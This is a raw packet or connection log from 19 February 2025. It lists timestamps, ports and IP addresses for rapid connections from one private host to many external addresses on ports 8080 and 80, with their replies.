Feb 19, 2025 19:43:16.247030020 CET	26802	8080	192.168.2.13	94.50.24.234
Feb 19, 2025 19:43:16.247040987 CET	26802	8080	192.168.2.13	62.110.22.155
Feb 19, 2025 19:43:16.247126102 CET	34362	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:16.247179985 CET	34362	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:16.247548103 CET	34766	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:16.247895956 CET	55412	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:16.247895956 CET	55412	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:16.248152971 CET	55816	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:16.248497963 CET	33902	8080	192.168.2.13	94.247.49.245
Feb 19, 2025 19:43:16.248497963 CET	33902	8080	192.168.2.13	94.247.49.245
Feb 19, 2025 19:43:16.248759031 CET	34302	8080	192.168.2.13	94.247.49.245
Feb 19, 2025 19:43:16.249222040 CET	49746	8080	192.168.2.13	31.72.251.25
Feb 19, 2025 19:43:16.249222040 CET	49746	8080	192.168.2.13	31.72.251.25
Feb 19, 2025 19:43:16.249532938 CET	50142	8080	192.168.2.13	31.72.251.25
Feb 19, 2025 19:43:16.249850988 CET	43266	8080	192.168.2.13	85.84.152.126
Feb 19, 2025 19:43:16.249867916 CET	43266	8080	192.168.2.13	85.84.152.126
Feb 19, 2025 19:43:16.250133038 CET	43662	8080	192.168.2.13	85.84.152.126
Feb 19, 2025 19:43:16.250451088 CET	58012	8080	192.168.2.13	62.212.168.142
Feb 19, 2025 19:43:16.250468016 CET	58012	8080	192.168.2.13	62.212.168.142
Feb 19, 2025 19:43:16.250710011 CET	58408	8080	192.168.2.13	62.212.168.142
Feb 19, 2025 19:43:16.251049995 CET	41938	8080	192.168.2.13	62.184.69.121
Feb 19, 2025 19:43:16.251049995 CET	41938	8080	192.168.2.13	62.184.69.121
Feb 19, 2025 19:43:16.251308918 CET	42334	8080	192.168.2.13	62.184.69.121
Feb 19, 2025 19:43:16.251651049 CET	33022	8080	192.168.2.13	31.224.71.137
Feb 19, 2025 19:43:16.251663923 CET	33022	8080	192.168.2.13	31.224.71.137
Feb 19, 2025 19:43:16.251909018 CET	33418	8080	192.168.2.13	31.224.71.137
Feb 19, 2025 19:43:16.252253056 CET	37342	8080	192.168.2.13	94.235.168.38
Feb 19, 2025 19:43:16.252253056 CET	37342	8080	192.168.2.13	94.235.168.38
Feb 19, 2025 19:43:16.252516985 CET	37738	8080	192.168.2.13	94.235.168.38
Feb 19, 2025 19:43:16.252857924 CET	46316	8080	192.168.2.13	31.9.155.170
Feb 19, 2025 19:43:16.252857924 CET	46316	8080	192.168.2.13	31.9.155.170
Feb 19, 2025 19:43:16.253125906 CET	46712	8080	192.168.2.13	31.9.155.170
Feb 19, 2025 19:43:16.253432989 CET	8080	34362	95.59.132.209	192.168.2.13
Feb 19, 2025 19:43:16.253447056 CET	8080	34766	95.59.132.209	192.168.2.13
Feb 19, 2025 19:43:16.253448009 CET	56200	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:16.253458023 CET	56200	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:16.253460884 CET	8080	55412	62.168.82.214	192.168.2.13
Feb 19, 2025 19:43:16.253488064 CET	34766	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:16.253699064 CET	56586	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:16.253753901 CET	8080	33902	94.247.49.245	192.168.2.13
Feb 19, 2025 19:43:16.254015923 CET	38130	8080	192.168.2.13	31.215.2.218
Feb 19, 2025 19:43:16.254035950 CET	38130	8080	192.168.2.13	31.215.2.218
Feb 19, 2025 19:43:16.254328012 CET	38516	8080	192.168.2.13	31.215.2.218
Feb 19, 2025 19:43:16.254551888 CET	8080	49746	31.72.251.25	192.168.2.13
Feb 19, 2025 19:43:16.254664898 CET	49920	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:16.254664898 CET	49920	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:16.255176067 CET	8080	43266	85.84.152.126	192.168.2.13
Feb 19, 2025 19:43:16.255443096 CET	50298	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:16.255772114 CET	57742	8080	192.168.2.13	95.85.142.137
Feb 19, 2025 19:43:16.255789995 CET	57742	8080	192.168.2.13	95.85.142.137
Feb 19, 2025 19:43:16.255827904 CET	8080	58012	62.212.168.142	192.168.2.13
Feb 19, 2025 19:43:16.256052017 CET	58116	8080	192.168.2.13	95.85.142.137
Feb 19, 2025 19:43:16.256391048 CET	58986	8080	192.168.2.13	85.224.68.95
Feb 19, 2025 19:43:16.256407976 CET	58986	8080	192.168.2.13	85.224.68.95
Feb 19, 2025 19:43:16.256498098 CET	8080	41938	62.184.69.121	192.168.2.13
Feb 19, 2025 19:43:16.256649971 CET	59336	8080	192.168.2.13	85.224.68.95
Feb 19, 2025 19:43:16.256983042 CET	8080	33022	31.224.71.137	192.168.2.13
Feb 19, 2025 19:43:16.256992102 CET	58140	8080	192.168.2.13	94.181.66.180
Feb 19, 2025 19:43:16.257013083 CET	58140	8080	192.168.2.13	94.181.66.180
Feb 19, 2025 19:43:16.257272005 CET	58476	8080	192.168.2.13	94.181.66.180
Feb 19, 2025 19:43:16.257596016 CET	42526	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:16.257596016 CET	42526	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:16.257627964 CET	8080	37342	94.235.168.38	192.168.2.13
Feb 19, 2025 19:43:16.257855892 CET	42836	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:16.258122921 CET	8080	46316	31.9.155.170	192.168.2.13
Feb 19, 2025 19:43:16.258167028 CET	48288	8080	192.168.2.13	31.204.205.170
Feb 19, 2025 19:43:16.258181095 CET	48288	8080	192.168.2.13	31.204.205.170
Feb 19, 2025 19:43:16.258430004 CET	48598	8080	192.168.2.13	31.204.205.170
Feb 19, 2025 19:43:16.258749962 CET	34562	8080	192.168.2.13	94.16.254.143
Feb 19, 2025 19:43:16.258764029 CET	34562	8080	192.168.2.13	94.16.254.143
Feb 19, 2025 19:43:16.258780956 CET	8080	56200	62.113.108.13	192.168.2.13
Feb 19, 2025 19:43:16.259012938 CET	34860	8080	192.168.2.13	94.16.254.143
Feb 19, 2025 19:43:16.259265900 CET	8080	38130	31.215.2.218	192.168.2.13
Feb 19, 2025 19:43:16.259342909 CET	40660	8080	192.168.2.13	95.154.37.49
Feb 19, 2025 19:43:16.259356022 CET	40660	8080	192.168.2.13	95.154.37.49
Feb 19, 2025 19:43:16.259624958 CET	40934	8080	192.168.2.13	95.154.37.49
Feb 19, 2025 19:43:16.259937048 CET	58706	8080	192.168.2.13	31.75.132.91
Feb 19, 2025 19:43:16.259954929 CET	58706	8080	192.168.2.13	31.75.132.91
Feb 19, 2025 19:43:16.260087013 CET	8080	49920	31.134.128.130	192.168.2.13
Feb 19, 2025 19:43:16.260204077 CET	58940	8080	192.168.2.13	31.75.132.91
Feb 19, 2025 19:43:16.260540962 CET	44022	8080	192.168.2.13	94.28.89.226
Feb 19, 2025 19:43:16.260540962 CET	44022	8080	192.168.2.13	94.28.89.226
Feb 19, 2025 19:43:16.260799885 CET	44230	8080	192.168.2.13	94.28.89.226
Feb 19, 2025 19:43:16.260922909 CET	8080	50298	31.134.128.130	192.168.2.13
Feb 19, 2025 19:43:16.260965109 CET	50298	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:16.261061907 CET	8080	57742	95.85.142.137	192.168.2.13
Feb 19, 2025 19:43:16.261141062 CET	47720	8080	192.168.2.13	94.31.162.150
Feb 19, 2025 19:43:16.261141062 CET	47720	8080	192.168.2.13	94.31.162.150
Feb 19, 2025 19:43:16.261390924 CET	47914	8080	192.168.2.13	94.31.162.150
Feb 19, 2025 19:43:16.261656046 CET	8080	58986	85.224.68.95	192.168.2.13
Feb 19, 2025 19:43:16.261733055 CET	44070	8080	192.168.2.13	62.252.212.176
Feb 19, 2025 19:43:16.261733055 CET	44070	8080	192.168.2.13	62.252.212.176
Feb 19, 2025 19:43:16.261977911 CET	44264	8080	192.168.2.13	62.252.212.176
Feb 19, 2025 19:43:16.262301922 CET	33562	8080	192.168.2.13	95.26.220.246
Feb 19, 2025 19:43:16.262301922 CET	8080	58140	94.181.66.180	192.168.2.13
Feb 19, 2025 19:43:16.262312889 CET	33562	8080	192.168.2.13	95.26.220.246
Feb 19, 2025 19:43:16.262550116 CET	33716	8080	192.168.2.13	95.26.220.246
Feb 19, 2025 19:43:16.262871027 CET	48698	8080	192.168.2.13	85.117.154.237
Feb 19, 2025 19:43:16.262871027 CET	48698	8080	192.168.2.13	85.117.154.237
Feb 19, 2025 19:43:16.262988091 CET	8080	42526	94.243.97.193	192.168.2.13
Feb 19, 2025 19:43:16.263133049 CET	48826	8080	192.168.2.13	85.117.154.237
Feb 19, 2025 19:43:16.263478041 CET	43150	8080	192.168.2.13	95.16.104.174
Feb 19, 2025 19:43:16.263478041 CET	43150	8080	192.168.2.13	95.16.104.174
Feb 19, 2025 19:43:16.263484955 CET	8080	48288	31.204.205.170	192.168.2.13
Feb 19, 2025 19:43:16.263726950 CET	43240	8080	192.168.2.13	95.16.104.174
Feb 19, 2025 19:43:16.264162064 CET	8080	34562	94.16.254.143	192.168.2.13
Feb 19, 2025 19:43:16.264213085 CET	34766	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:16.264235973 CET	50298	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:16.264254093 CET	53228	8080	192.168.2.13	85.121.87.249
Feb 19, 2025 19:43:16.264266968 CET	53228	8080	192.168.2.13	85.121.87.249
Feb 19, 2025 19:43:16.264528990 CET	53292	8080	192.168.2.13	85.121.87.249
Feb 19, 2025 19:43:16.264676094 CET	8080	40660	95.154.37.49	192.168.2.13
Feb 19, 2025 19:43:16.265300035 CET	8080	58706	31.75.132.91	192.168.2.13
Feb 19, 2025 19:43:16.265934944 CET	8080	44022	94.28.89.226	192.168.2.13
Feb 19, 2025 19:43:16.266580105 CET	8080	47720	94.31.162.150	192.168.2.13
Feb 19, 2025 19:43:16.267082930 CET	8080	44070	62.252.212.176	192.168.2.13
Feb 19, 2025 19:43:16.267743111 CET	8080	33562	95.26.220.246	192.168.2.13
Feb 19, 2025 19:43:16.268249035 CET	8080	48698	85.117.154.237	192.168.2.13
Feb 19, 2025 19:43:16.268759966 CET	8080	43150	95.16.104.174	192.168.2.13
Feb 19, 2025 19:43:16.269597054 CET	8080	34766	95.59.132.209	192.168.2.13
Feb 19, 2025 19:43:16.269608974 CET	8080	53228	85.121.87.249	192.168.2.13
Feb 19, 2025 19:43:16.269634962 CET	34766	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:16.269826889 CET	8080	50298	31.134.128.130	192.168.2.13
Feb 19, 2025 19:43:16.269862890 CET	50298	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:16.298610926 CET	8080	49746	31.72.251.25	192.168.2.13
Feb 19, 2025 19:43:16.298624992 CET	8080	33902	94.247.49.245	192.168.2.13
Feb 19, 2025 19:43:16.298636913 CET	8080	55412	62.168.82.214	192.168.2.13
Feb 19, 2025 19:43:16.298650026 CET	8080	34362	95.59.132.209	192.168.2.13
Feb 19, 2025 19:43:16.302717924 CET	8080	56200	62.113.108.13	192.168.2.13
Feb 19, 2025 19:43:16.302731037 CET	8080	46316	31.9.155.170	192.168.2.13
Feb 19, 2025 19:43:16.302742958 CET	8080	37342	94.235.168.38	192.168.2.13
Feb 19, 2025 19:43:16.302756071 CET	8080	33022	31.224.71.137	192.168.2.13
Feb 19, 2025 19:43:16.302767038 CET	8080	41938	62.184.69.121	192.168.2.13
Feb 19, 2025 19:43:16.302779913 CET	8080	58012	62.212.168.142	192.168.2.13
Feb 19, 2025 19:43:16.302792072 CET	8080	43266	85.84.152.126	192.168.2.13
Feb 19, 2025 19:43:16.302804947 CET	8080	58140	94.181.66.180	192.168.2.13
Feb 19, 2025 19:43:16.302819967 CET	8080	58986	85.224.68.95	192.168.2.13
Feb 19, 2025 19:43:16.302831888 CET	8080	57742	95.85.142.137	192.168.2.13
Feb 19, 2025 19:43:16.302845001 CET	8080	49920	31.134.128.130	192.168.2.13
Feb 19, 2025 19:43:16.302856922 CET	8080	38130	31.215.2.218	192.168.2.13
Feb 19, 2025 19:43:16.306571007 CET	8080	47720	94.31.162.150	192.168.2.13
Feb 19, 2025 19:43:16.306582928 CET	8080	44022	94.28.89.226	192.168.2.13
Feb 19, 2025 19:43:16.306631088 CET	8080	58706	31.75.132.91	192.168.2.13
Feb 19, 2025 19:43:16.306646109 CET	8080	40660	95.154.37.49	192.168.2.13
Feb 19, 2025 19:43:16.306657076 CET	8080	34562	94.16.254.143	192.168.2.13
Feb 19, 2025 19:43:16.306669950 CET	8080	48288	31.204.205.170	192.168.2.13
Feb 19, 2025 19:43:16.306682110 CET	8080	42526	94.243.97.193	192.168.2.13
Feb 19, 2025 19:43:16.310587883 CET	8080	53228	85.121.87.249	192.168.2.13
Feb 19, 2025 19:43:16.310632944 CET	8080	43150	95.16.104.174	192.168.2.13
Feb 19, 2025 19:43:16.310646057 CET	8080	48698	85.117.154.237	192.168.2.13
Feb 19, 2025 19:43:16.310658932 CET	8080	33562	95.26.220.246	192.168.2.13
Feb 19, 2025 19:43:16.310672045 CET	8080	44070	62.252.212.176	192.168.2.13
Feb 19, 2025 19:43:16.921037912 CET	27058	80	192.168.2.13	112.13.127.209
Feb 19, 2025 19:43:16.921040058 CET	27058	80	192.168.2.13	112.86.73.126
Feb 19, 2025 19:43:16.921052933 CET	27058	80	192.168.2.13	112.240.182.115
Feb 19, 2025 19:43:16.921053886 CET	27058	80	192.168.2.13	112.87.211.172
Feb 19, 2025 19:43:16.921055079 CET	27058	80	192.168.2.13	112.207.26.40
Feb 19, 2025 19:43:16.921073914 CET	27058	80	192.168.2.13	112.49.32.229
Feb 19, 2025 19:43:16.921073914 CET	27058	80	192.168.2.13	112.122.155.58
Feb 19, 2025 19:43:16.921080112 CET	27058	80	192.168.2.13	112.108.159.43
Feb 19, 2025 19:43:16.921094894 CET	27058	80	192.168.2.13	112.194.96.95
Feb 19, 2025 19:43:16.921097994 CET	27058	80	192.168.2.13	112.207.104.201
Feb 19, 2025 19:43:16.921098948 CET	27058	80	192.168.2.13	112.64.165.139
Feb 19, 2025 19:43:16.921114922 CET	27058	80	192.168.2.13	112.134.8.178
Feb 19, 2025 19:43:16.921114922 CET	27058	80	192.168.2.13	112.226.241.137
Feb 19, 2025 19:43:16.921142101 CET	27058	80	192.168.2.13	112.215.179.189
Feb 19, 2025 19:43:16.921165943 CET	27058	80	192.168.2.13	112.121.81.13
Feb 19, 2025 19:43:16.921185970 CET	27058	80	192.168.2.13	112.191.21.255
Feb 19, 2025 19:43:16.921215057 CET	27058	80	192.168.2.13	112.46.81.217
Feb 19, 2025 19:43:16.921224117 CET	27058	80	192.168.2.13	112.142.141.128
Feb 19, 2025 19:43:16.921224117 CET	27058	80	192.168.2.13	112.189.218.192
Feb 19, 2025 19:43:16.921224117 CET	27058	80	192.168.2.13	112.109.129.66
Feb 19, 2025 19:43:16.921231031 CET	27058	80	192.168.2.13	112.204.181.222
Feb 19, 2025 19:43:16.921257973 CET	27058	80	192.168.2.13	112.250.51.16
Feb 19, 2025 19:43:16.921257973 CET	27058	80	192.168.2.13	112.124.236.34
Feb 19, 2025 19:43:16.921257973 CET	27058	80	192.168.2.13	112.38.48.250
Feb 19, 2025 19:43:16.921267986 CET	27058	80	192.168.2.13	112.185.129.9
Feb 19, 2025 19:43:16.921269894 CET	27058	80	192.168.2.13	112.60.170.178
Feb 19, 2025 19:43:16.921271086 CET	27058	80	192.168.2.13	112.246.117.77
Feb 19, 2025 19:43:16.921269894 CET	27058	80	192.168.2.13	112.201.115.247
Feb 19, 2025 19:43:16.921300888 CET	27058	80	192.168.2.13	112.71.86.230
Feb 19, 2025 19:43:16.921330929 CET	27058	80	192.168.2.13	112.177.196.208
Feb 19, 2025 19:43:16.921339035 CET	27058	80	192.168.2.13	112.227.10.230
Feb 19, 2025 19:43:16.921339989 CET	27058	80	192.168.2.13	112.165.112.201
Feb 19, 2025 19:43:16.921341896 CET	27058	80	192.168.2.13	112.81.142.30
Feb 19, 2025 19:43:16.921344042 CET	27058	80	192.168.2.13	112.124.129.239
Feb 19, 2025 19:43:16.921360970 CET	27058	80	192.168.2.13	112.103.75.66
Feb 19, 2025 19:43:16.921380043 CET	27058	80	192.168.2.13	112.114.221.209
Feb 19, 2025 19:43:16.921423912 CET	27058	80	192.168.2.13	112.3.80.37
Feb 19, 2025 19:43:16.921426058 CET	27058	80	192.168.2.13	112.92.58.175
Feb 19, 2025 19:43:16.921427011 CET	27058	80	192.168.2.13	112.180.159.6
Feb 19, 2025 19:43:16.921441078 CET	27058	80	192.168.2.13	112.233.0.161
Feb 19, 2025 19:43:16.921444893 CET	27058	80	192.168.2.13	112.107.182.88
Feb 19, 2025 19:43:16.921542883 CET	27058	80	192.168.2.13	112.20.212.143
Feb 19, 2025 19:43:16.921542883 CET	27058	80	192.168.2.13	112.117.91.82
Feb 19, 2025 19:43:16.921545029 CET	27058	80	192.168.2.13	112.17.134.152
Feb 19, 2025 19:43:16.921546936 CET	27058	80	192.168.2.13	112.52.167.79
Feb 19, 2025 19:43:16.921546936 CET	27058	80	192.168.2.13	112.175.40.190
Feb 19, 2025 19:43:16.921549082 CET	27058	80	192.168.2.13	112.132.19.1
Feb 19, 2025 19:43:16.921571970 CET	27058	80	192.168.2.13	112.170.30.196
Feb 19, 2025 19:43:16.921575069 CET	27058	80	192.168.2.13	112.225.217.59
Feb 19, 2025 19:43:16.921575069 CET	27058	80	192.168.2.13	112.119.213.200
Feb 19, 2025 19:43:16.921575069 CET	27058	80	192.168.2.13	112.45.22.51
Feb 19, 2025 19:43:16.921575069 CET	27058	80	192.168.2.13	112.34.203.196
Feb 19, 2025 19:43:16.921580076 CET	27058	80	192.168.2.13	112.23.181.237
Feb 19, 2025 19:43:16.921580076 CET	27058	80	192.168.2.13	112.151.120.240
Feb 19, 2025 19:43:16.921592951 CET	27058	80	192.168.2.13	112.6.158.169
Feb 19, 2025 19:43:16.921601057 CET	27058	80	192.168.2.13	112.252.219.15
Feb 19, 2025 19:43:16.921602964 CET	27058	80	192.168.2.13	112.49.64.238
Feb 19, 2025 19:43:16.921622038 CET	27058	80	192.168.2.13	112.112.161.62
Feb 19, 2025 19:43:16.921624899 CET	27058	80	192.168.2.13	112.179.159.62
Feb 19, 2025 19:43:16.921626091 CET	27058	80	192.168.2.13	112.56.57.16
Feb 19, 2025 19:43:16.921653986 CET	27058	80	192.168.2.13	112.137.253.164
Feb 19, 2025 19:43:16.921655893 CET	27058	80	192.168.2.13	112.250.25.156
Feb 19, 2025 19:43:16.921715975 CET	27058	80	192.168.2.13	112.237.143.230
Feb 19, 2025 19:43:16.921720028 CET	27058	80	192.168.2.13	112.202.87.8
Feb 19, 2025 19:43:16.921721935 CET	27058	80	192.168.2.13	112.185.68.157
Feb 19, 2025 19:43:16.921724081 CET	27058	80	192.168.2.13	112.232.182.24
Feb 19, 2025 19:43:16.921724081 CET	27058	80	192.168.2.13	112.183.122.63
Feb 19, 2025 19:43:16.921766996 CET	27058	80	192.168.2.13	112.243.219.66
Feb 19, 2025 19:43:16.921768904 CET	27058	80	192.168.2.13	112.139.168.116
Feb 19, 2025 19:43:16.921768904 CET	27058	80	192.168.2.13	112.110.27.181
Feb 19, 2025 19:43:16.921768904 CET	27058	80	192.168.2.13	112.128.7.59
Feb 19, 2025 19:43:16.921771049 CET	27058	80	192.168.2.13	112.80.195.164
Feb 19, 2025 19:43:16.921777010 CET	27058	80	192.168.2.13	112.238.108.21
Feb 19, 2025 19:43:16.921785116 CET	27058	80	192.168.2.13	112.127.55.52
Feb 19, 2025 19:43:16.921787977 CET	27058	80	192.168.2.13	112.124.201.54
Feb 19, 2025 19:43:16.921803951 CET	27058	80	192.168.2.13	112.243.36.219
Feb 19, 2025 19:43:16.921808958 CET	27058	80	192.168.2.13	112.208.35.174
Feb 19, 2025 19:43:16.921818018 CET	27058	80	192.168.2.13	112.141.166.83
Feb 19, 2025 19:43:16.921834946 CET	27058	80	192.168.2.13	112.43.101.181
Feb 19, 2025 19:43:16.921849012 CET	27058	80	192.168.2.13	112.36.96.169
Feb 19, 2025 19:43:16.921861887 CET	27058	80	192.168.2.13	112.227.112.181
Feb 19, 2025 19:43:16.921863079 CET	27058	80	192.168.2.13	112.27.123.67
Feb 19, 2025 19:43:16.921863079 CET	27058	80	192.168.2.13	112.188.113.65
Feb 19, 2025 19:43:16.921936989 CET	27058	80	192.168.2.13	112.184.29.29
Feb 19, 2025 19:43:16.921941042 CET	27058	80	192.168.2.13	112.227.50.91
Feb 19, 2025 19:43:16.921945095 CET	27058	80	192.168.2.13	112.125.73.209
Feb 19, 2025 19:43:16.921946049 CET	27058	80	192.168.2.13	112.184.210.83
Feb 19, 2025 19:43:16.921946049 CET	27058	80	192.168.2.13	112.181.98.204
Feb 19, 2025 19:43:16.921963930 CET	27058	80	192.168.2.13	112.204.189.166
Feb 19, 2025 19:43:16.921966076 CET	27058	80	192.168.2.13	112.72.156.5
Feb 19, 2025 19:43:16.921966076 CET	27058	80	192.168.2.13	112.224.68.165
Feb 19, 2025 19:43:16.921966076 CET	27058	80	192.168.2.13	112.217.246.129
Feb 19, 2025 19:43:16.921983957 CET	27058	80	192.168.2.13	112.98.226.16
Feb 19, 2025 19:43:16.921983957 CET	27058	80	192.168.2.13	112.73.124.110
Feb 19, 2025 19:43:16.922008991 CET	27058	80	192.168.2.13	112.5.37.91
Feb 19, 2025 19:43:16.922008991 CET	27058	80	192.168.2.13	112.125.183.244
Feb 19, 2025 19:43:16.922019958 CET	27058	80	192.168.2.13	112.189.82.229
Feb 19, 2025 19:43:16.922022104 CET	27058	80	192.168.2.13	112.201.170.13
Feb 19, 2025 19:43:16.922030926 CET	27058	80	192.168.2.13	112.17.178.119
Feb 19, 2025 19:43:16.922064066 CET	27058	80	192.168.2.13	112.167.164.61
Feb 19, 2025 19:43:16.922065020 CET	27058	80	192.168.2.13	112.150.78.123
Feb 19, 2025 19:43:16.922065020 CET	27058	80	192.168.2.13	112.137.243.36
Feb 19, 2025 19:43:16.922132969 CET	27058	80	192.168.2.13	112.157.144.238
Feb 19, 2025 19:43:16.922137976 CET	27058	80	192.168.2.13	112.85.193.217
Feb 19, 2025 19:43:16.922137976 CET	27058	80	192.168.2.13	112.235.84.235
Feb 19, 2025 19:43:16.922153950 CET	27058	80	192.168.2.13	112.9.180.32
Feb 19, 2025 19:43:16.922162056 CET	27058	80	192.168.2.13	112.172.64.74
Feb 19, 2025 19:43:16.922169924 CET	27058	80	192.168.2.13	112.74.101.63
Feb 19, 2025 19:43:16.922169924 CET	27058	80	192.168.2.13	112.162.109.65
Feb 19, 2025 19:43:16.922192097 CET	27058	80	192.168.2.13	112.190.159.39
Feb 19, 2025 19:43:16.922193050 CET	27058	80	192.168.2.13	112.138.116.61
Feb 19, 2025 19:43:16.922193050 CET	27058	80	192.168.2.13	112.39.19.139
Feb 19, 2025 19:43:16.922193050 CET	27058	80	192.168.2.13	112.131.23.123
Feb 19, 2025 19:43:16.922193050 CET	27058	80	192.168.2.13	112.36.100.96
Feb 19, 2025 19:43:16.922193050 CET	27058	80	192.168.2.13	112.227.180.237
Feb 19, 2025 19:43:16.922193050 CET	27058	80	192.168.2.13	112.41.77.245
Feb 19, 2025 19:43:16.922199011 CET	27058	80	192.168.2.13	112.117.35.103
Feb 19, 2025 19:43:16.922219992 CET	27058	80	192.168.2.13	112.52.225.5
Feb 19, 2025 19:43:16.922219992 CET	27058	80	192.168.2.13	112.236.183.77
Feb 19, 2025 19:43:16.922239065 CET	27058	80	192.168.2.13	112.116.25.43
Feb 19, 2025 19:43:16.922255993 CET	27058	80	192.168.2.13	112.25.203.147
Feb 19, 2025 19:43:16.922257900 CET	27058	80	192.168.2.13	112.81.239.238
Feb 19, 2025 19:43:16.922260046 CET	27058	80	192.168.2.13	112.75.246.101
Feb 19, 2025 19:43:16.922339916 CET	27058	80	192.168.2.13	112.225.88.91
Feb 19, 2025 19:43:16.922341108 CET	27058	80	192.168.2.13	112.230.25.72
Feb 19, 2025 19:43:16.922341108 CET	27058	80	192.168.2.13	112.31.230.185
Feb 19, 2025 19:43:16.922342062 CET	27058	80	192.168.2.13	112.18.68.159
Feb 19, 2025 19:43:16.922346115 CET	27058	80	192.168.2.13	112.215.188.121
Feb 19, 2025 19:43:16.922377110 CET	27058	80	192.168.2.13	112.125.106.97
Feb 19, 2025 19:43:16.922377110 CET	27058	80	192.168.2.13	112.107.133.34
Feb 19, 2025 19:43:16.922401905 CET	27058	80	192.168.2.13	112.218.5.149
Feb 19, 2025 19:43:16.922401905 CET	27058	80	192.168.2.13	112.52.116.26
Feb 19, 2025 19:43:16.922405005 CET	27058	80	192.168.2.13	112.198.19.138
Feb 19, 2025 19:43:16.922405005 CET	27058	80	192.168.2.13	112.6.158.184
Feb 19, 2025 19:43:16.922405005 CET	27058	80	192.168.2.13	112.87.5.86
Feb 19, 2025 19:43:16.922436953 CET	27058	80	192.168.2.13	112.48.255.231
Feb 19, 2025 19:43:16.922437906 CET	27058	80	192.168.2.13	112.148.15.68
Feb 19, 2025 19:43:16.922441006 CET	27058	80	192.168.2.13	112.38.119.85
Feb 19, 2025 19:43:16.922491074 CET	27058	80	192.168.2.13	112.157.197.84
Feb 19, 2025 19:43:16.922496080 CET	27058	80	192.168.2.13	112.149.231.210
Feb 19, 2025 19:43:16.922507048 CET	27058	80	192.168.2.13	112.169.178.155
Feb 19, 2025 19:43:16.922535896 CET	27058	80	192.168.2.13	112.206.41.149
Feb 19, 2025 19:43:16.922544003 CET	27058	80	192.168.2.13	112.129.202.68
Feb 19, 2025 19:43:16.922549963 CET	27058	80	192.168.2.13	112.12.71.128
Feb 19, 2025 19:43:16.922549963 CET	27058	80	192.168.2.13	112.246.36.178
Feb 19, 2025 19:43:16.922549963 CET	27058	80	192.168.2.13	112.213.97.101
Feb 19, 2025 19:43:16.922549963 CET	27058	80	192.168.2.13	112.118.63.62
Feb 19, 2025 19:43:16.922554970 CET	27058	80	192.168.2.13	112.146.88.229
Feb 19, 2025 19:43:16.922554970 CET	27058	80	192.168.2.13	112.24.112.208
Feb 19, 2025 19:43:16.922594070 CET	27058	80	192.168.2.13	112.38.188.250
Feb 19, 2025 19:43:16.922621012 CET	27058	80	192.168.2.13	112.6.129.92
Feb 19, 2025 19:43:16.922621965 CET	27058	80	192.168.2.13	112.243.148.112
Feb 19, 2025 19:43:16.922630072 CET	27058	80	192.168.2.13	112.157.140.211
Feb 19, 2025 19:43:16.922636032 CET	27058	80	192.168.2.13	112.107.254.15
Feb 19, 2025 19:43:16.922641993 CET	27058	80	192.168.2.13	112.117.151.68
Feb 19, 2025 19:43:16.922661066 CET	27058	80	192.168.2.13	112.9.77.253
Feb 19, 2025 19:43:16.922676086 CET	27058	80	192.168.2.13	112.112.59.92
Feb 19, 2025 19:43:16.922676086 CET	27058	80	192.168.2.13	112.68.29.1
Feb 19, 2025 19:43:16.922708988 CET	27058	80	192.168.2.13	112.117.190.137
Feb 19, 2025 19:43:16.923080921 CET	27058	80	192.168.2.13	112.243.59.157
Feb 19, 2025 19:43:16.924348116 CET	46104	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:16.926167965 CET	80	27058	112.86.73.126	192.168.2.13
Feb 19, 2025 19:43:16.926182985 CET	80	27058	112.13.127.209	192.168.2.13
Feb 19, 2025 19:43:16.926197052 CET	80	27058	112.240.182.115	192.168.2.13
Feb 19, 2025 19:43:16.926208973 CET	80	27058	112.87.211.172	192.168.2.13
Feb 19, 2025 19:43:16.926223040 CET	80	27058	112.207.26.40	192.168.2.13
Feb 19, 2025 19:43:16.926234961 CET	27058	80	192.168.2.13	112.86.73.126
Feb 19, 2025 19:43:16.926234961 CET	80	27058	112.49.32.229	192.168.2.13
Feb 19, 2025 19:43:16.926248074 CET	80	27058	112.122.155.58	192.168.2.13
Feb 19, 2025 19:43:16.926254034 CET	27058	80	192.168.2.13	112.240.182.115
Feb 19, 2025 19:43:16.926260948 CET	80	27058	112.108.159.43	192.168.2.13
Feb 19, 2025 19:43:16.926278114 CET	27058	80	192.168.2.13	112.207.26.40
Feb 19, 2025 19:43:16.926281929 CET	27058	80	192.168.2.13	112.87.211.172
Feb 19, 2025 19:43:16.926285028 CET	27058	80	192.168.2.13	112.13.127.209
Feb 19, 2025 19:43:16.926287889 CET	27058	80	192.168.2.13	112.108.159.43
Feb 19, 2025 19:43:16.926290035 CET	27058	80	192.168.2.13	112.49.32.229
Feb 19, 2025 19:43:16.926307917 CET	27058	80	192.168.2.13	112.122.155.58
Feb 19, 2025 19:43:16.926309109 CET	80	27058	112.194.96.95	192.168.2.13
Feb 19, 2025 19:43:16.926321983 CET	80	27058	112.64.165.139	192.168.2.13
Feb 19, 2025 19:43:16.926333904 CET	80	27058	112.207.104.201	192.168.2.13
Feb 19, 2025 19:43:16.926347017 CET	80	27058	112.134.8.178	192.168.2.13
Feb 19, 2025 19:43:16.926392078 CET	27058	80	192.168.2.13	112.64.165.139
Feb 19, 2025 19:43:16.926397085 CET	27058	80	192.168.2.13	112.207.104.201
Feb 19, 2025 19:43:16.926397085 CET	27058	80	192.168.2.13	112.134.8.178
Feb 19, 2025 19:43:16.926410913 CET	80	27058	112.226.241.137	192.168.2.13
